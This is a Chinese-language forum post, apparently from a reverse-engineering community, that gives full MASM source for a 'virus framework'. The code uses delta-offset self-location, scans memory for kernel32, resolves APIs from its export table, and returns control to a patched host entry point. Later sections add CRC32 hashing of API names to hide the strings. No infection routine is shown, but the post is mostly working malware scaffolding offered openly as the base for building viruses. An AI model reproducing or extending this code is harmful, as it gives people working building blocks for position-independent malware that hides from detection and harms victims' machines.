很多朋友说我写的那些病毒编译链接的时候对于 mov dword ptr [ebp+aa],eax这样的语句提示内存访问错误,还有的说masm写病毒的话,很多时候把
aa proc  
....
....
aa enp
改成
aa:
....
....
ret
会出错什么的
其实这些都是功底不行,甚至上面那个只是个link选项设置的问题。

很多人看这些病毒的时候看着晕。越看越糊涂,实际上没有那么难。
asm的魅力系列做完了,我给大家最后写个病毒的框架。病毒这玩意儿,就像玩命大哥说的:玩玩就可以了,asm能玩出花样来。

我代码直接贴上,里面的精妙之处大家仔细看就能理解了。
我没有做过多的注释,我觉得也没有必要。

代码:
;;author:charme
;;date:2009.12.12
;;index:http://hi.baidu.com/charme000
;;ml /nologo /coff /c charme.asm
;;link /subsystem:windows /section:.text,RW charme.obj


.586
.model flat,stdcall
option casemap:none

.code
start:
pushad
pushfd

call aa
aa:
pop ebp
sub ebp,offset aa

mov eax,DWORD ptr [ebp+offset _ret]
mov DWORD ptr [ebp+offset  _where],eax

mov esi,DWORD ptr [esp + 24h]
call get_kernel_image_base
    
call find_main_apis
  
call find_extra_apis


mov eax,offset szCharme
add eax,ebp
push 0
push eax
push eax
push 0
call [ebp+AMessageBoxA]

jmp _exit
szCharme db 'success',0

_where dd 0



find_extra_apis:
jmp load_ 

user32 db "user32.dll",0
SMessageBoxA  db "MessageBoxA",0
AMessageBoxA  dd 0

load_:
mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset AGetModuleHandleA]
cmp eax,0h
jne load_message_box 

mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset ALoadLibraryA]
cmp eax,0
je _exit
  
  
load_message_box:
mov ebx,offset SMessageBoxA
add ebx,ebp
push ebx
push eax ; user32.dll
call [ebp + offset AGetProcAddress]
cmp eax,0h
je _exit
  
mov dword ptr [ebp + offset AMessageBoxA],eax
    
ret
;----------------------------------------------------------------------------------------------------------------------
get_kernel_image_base:  
      
mov ecx,esi 
jmp start_getting 


k32 dd 0

start_getting:
cmp dword ptr [esi],'NREK' 
je found_kernel_str
dec esi
loop start_getting
mov eax,0
ret

  found_kernel_str:
  cmp word ptr [esi],'ZM'
   je return_
   dec esi
  loop found_kernel_str  
  mov eax,0
  ret

    return_:          
    mov dword ptr [ebp + offset k32],esi
    cmp esi,0
    je _exit
    
    ret
;------------

find_main_apis:   
 
jmp get_kernel_pe_header 




k32_export_table dd 0 ;VA
k32_name_table   dd 0 ;VA
k32_name_counter dd 0

next_api_string     dd 0
current_api_string   dd 0
str_size       dd 0
api_address_counter     dd 0
api_strings:
SExitProcess    db   "ExitProcess",0
SGetProcAddress   db   "GetProcAddress",0
SGetModuleHandleA  db   "GetModuleHandleA",0
SLoadLibraryA    db   "LoadLibraryA",0



dd 00000090h 

api_addresses:
AExitProcess     dd 0  
AGetProcAddress    dd 0
AGetModuleHandleA  dd 0
ALoadLibraryA    dd 0


get_kernel_pe_header:
mov esi,dword ptr [ebp + offset k32]
add esi,dword ptr [esi + 3Ch] ; PE header VA
  
mov esi,dword ptr [esi + 78h] ; export table RVA
add esi,dword ptr [ebp + offset k32] ;VA
mov dword ptr [ebp + offset k32_export_table],esi
  
add esi,32d ; address of names RVA in export table
mov esi,dword ptr [esi]
add esi, dword ptr [ebp + offset k32] ; starting of dword array of function names in k32
mov dword ptr [ebp + offset k32_name_table],esi
  
  ;start next_api_string
mov dword ptr [ebp + offset next_api_string],offset api_strings
add dword ptr [ebp + offset next_api_string],ebp
  
  
api_loop:
mov esi,dword ptr [ebp + offset next_api_string]
cmp dword ptr [esi],00000090h
je all_found
  ;get a string from api_strings label
mov dword ptr [ebp + offset k32_name_counter],0h ;reset name counter
mov esi,dword ptr [ebp + offset next_api_string]
xor ecx,ecx
mov dword ptr [ebp + offset current_api_string],esi
@@: cmp byte ptr [esi],0h
je @F
inc ecx
inc esi
jmp @B
@@:  
mov dword ptr [ebp + offset str_size],ecx
inc esi
mov dword ptr [ebp + offset next_api_string],esi ; next str
    
get_name_from_k32:
;get a name and normalize it
mov eax,dword ptr [ebp + offset k32_name_counter]
mov ebx,4h
mul ebx
add eax,dword ptr [ebp + offset k32_name_table]
mov eax,dword ptr [eax]
add eax,dword ptr [ebp + offset k32] ; now we have an api name
add dword ptr [ebp + offset k32_name_counter],1h ;  increment for next
  
compare_two_names:
mov ecx,dword ptr [ebp + offset str_size]
mov edi,eax ; api name in k32 name table
mov esi,dword ptr [ebp + offset current_api_string]
@@:cmpsb
jne @F
loop @B
;we have found it so calculate ordinal
jmp calc_ordinal
@@: ;not the same api
jmp get_name_from_k32
    
calc_ordinal:
sub dword ptr [ebp + offset k32_name_counter],1h ; current names ordinal pos
mov ebx,2
mov eax,dword ptr [ebp + offset k32_name_counter]
mul ebx
    
mov esi,dword ptr [ebp + offset k32_export_table]
add esi,36d
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32] ; ordinal table
add esi,eax ; ordinal of our api
    
movzx eax,word ptr [esi] ; ordinal of our api
    
mov esi,dword ptr [ebp + offset k32_export_table]
add esi,28d
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32] ; address table
    
mov ebx,4h
mul ebx
add esi,eax
mov esi,dword ptr [esi]
add esi,dword ptr [ebp + offset k32]
        
    
mov eax,dword ptr [ebp + offset api_address_counter]    
mov dword ptr [ebp + offset api_addresses + eax],esi
add dword ptr [ebp + offset api_address_counter],4h
      
      
jmp api_loop
      
all_found:
mov dword ptr [ebp + offset api_address_counter],0 
  
ret
  
  
_exit:
mov eax,DWORD ptr [ebp+offset  _where]
mov DWORD ptr [ebp+offset  _ret +3h],eax
cmp ebp,0
jne _ret
push 0
call [ebp+offset AExitProcess]

_ret:
popfd
popad
db 68h,0,0,0,0
ret

end start
总结:实际上这个地方玩命只是强调框架,病不涉及什么病毒深层的技术,你有新的思路,可以自己加。

研究了老V的感染驱动的病毒框架,其实这个做些修改就可以的。只是内部的东西我们需要单独的研究下。

把代码发附件吧!

经玩命大哥提示,其实那个api列表在框架里面我们完全可以同crc处理。加个过程就可以了。
代码:
;----------------------------------------------------------------------------;
;int __fastcall crc32(char*);
@crc32          proc
                push    esi
                xchg    eax,esi
                mov     edx,mCRC32_init
        gCRC32_next_byte:
                lodsb
                or      al,al           ;end of name ?
                jz      gCRC32_finish

                xor     dl,al
                mov     al,08h
        gCRC32_next_bit:
                shr     edx,01h
                jnc     gCRC32_no_change
                xor     edx,mCRC32
        gCRC32_no_change:
                dec al
                jnz     gCRC32_next_bit
                jmp     gCRC32_next_byte
        gCRC32_finish:
                xchg    eax,edx         ;CRC32 to EAX
                pop     esi
                ret

@crc32          endp
或者写个宏:
代码:
mCRC32        equ     0C1A7F39Ah             
mCRC32_init   equ     09C3B248Eh              

crc32m  macro   string
            crcReg = mCRC32_init
      irpc    _x,<string>
    ctrlByte = '&_x&' xor (crcReg and 0FFh)
    crcReg = crcReg shr 8
    rept 8
                    ctrlByte = (ctrlByte shr 1) xor (mCRC32 * (ctrlByte and 1))
    endm
    crcReg = crcReg xor ctrlByte
      endm
        dd  crcReg
endm
上传的附件 charme.w32.rar
注意:解压密码是 PEDIY